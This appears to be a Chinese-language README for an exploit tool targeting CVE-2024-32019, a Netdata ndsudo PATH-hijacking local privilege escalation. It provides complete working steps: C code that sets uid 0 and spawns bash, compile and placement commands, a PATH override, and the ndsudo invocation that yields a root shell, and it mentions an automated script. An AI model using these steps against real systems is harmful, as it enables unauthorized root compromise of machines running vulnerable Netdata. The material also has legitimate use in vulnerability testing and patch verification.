🚨 CVE-2024-32019 - Netdata `ndsudo` PATH 漏洞利用 (LPE 提权至 Root)

一个基于 Python 的漏洞利用工具，针对 CVE-2024-32019（Netdata Agent 中的一个高危本地权限提升漏洞），利用了一个配置错误的 SUID 二进制文件（ndsudo），该文件未能安全处理 PATH 环境变量。

[!Caution] 此代码仅用于教育和授权测试目的。未经授权在您不拥有或未经明确许可的系统上使用此工具是非法的。

🔍 概述

CVE ID: CVE-2024-32019
CVSS 评分: 8.8 (高危)
披露日期: 2024年4月12日
组件: Netdata Agent
受影响版本:

>= v1.45.0, < v1.45.3
>= v1.44.0-60, < v1.45.0-169

🧠 技术摘要

Netdata 的 ndsudo 工具是一个 SUID root 二进制文件，旨在代表非 root 用户安全地执行一组有限的系统命令（如 nvme）。

然而，由于实现缺陷，它在解析命令二进制文件时会尊重用户控制的 PATH 变量。如果攻击者能够操纵 PATH 使其包含一个包含恶意二进制文件的可写目录，ndsudo 将以 root 权限执行该文件——从而导致本地权限提升。

💥 手动利用步骤

以下步骤演示了如何手动利用 ndsudo 中的漏洞。

1. 创建一个权限提升二进制文件

将以下 C 代码保存为 nvme.c：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

2. 编译漏洞利用程序

gcc nvme.c -o nvme

3. 在目标上准备漏洞利用环境

mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme

4. 修改 `PATH`

export PATH=/tmp/fakebin:$PATH
which nvme
# Output: /tmp/fakebin/nvme

5. 触发漏洞利用

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

如果成功，您将获得一个 root shell。

# whoami
root

自动利用

如果您具有 SSH 访问权限，可以使用 CVE-2024-32019-dbs.py 来自动化此过程。

Exploitation using script

最受欢迎

CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation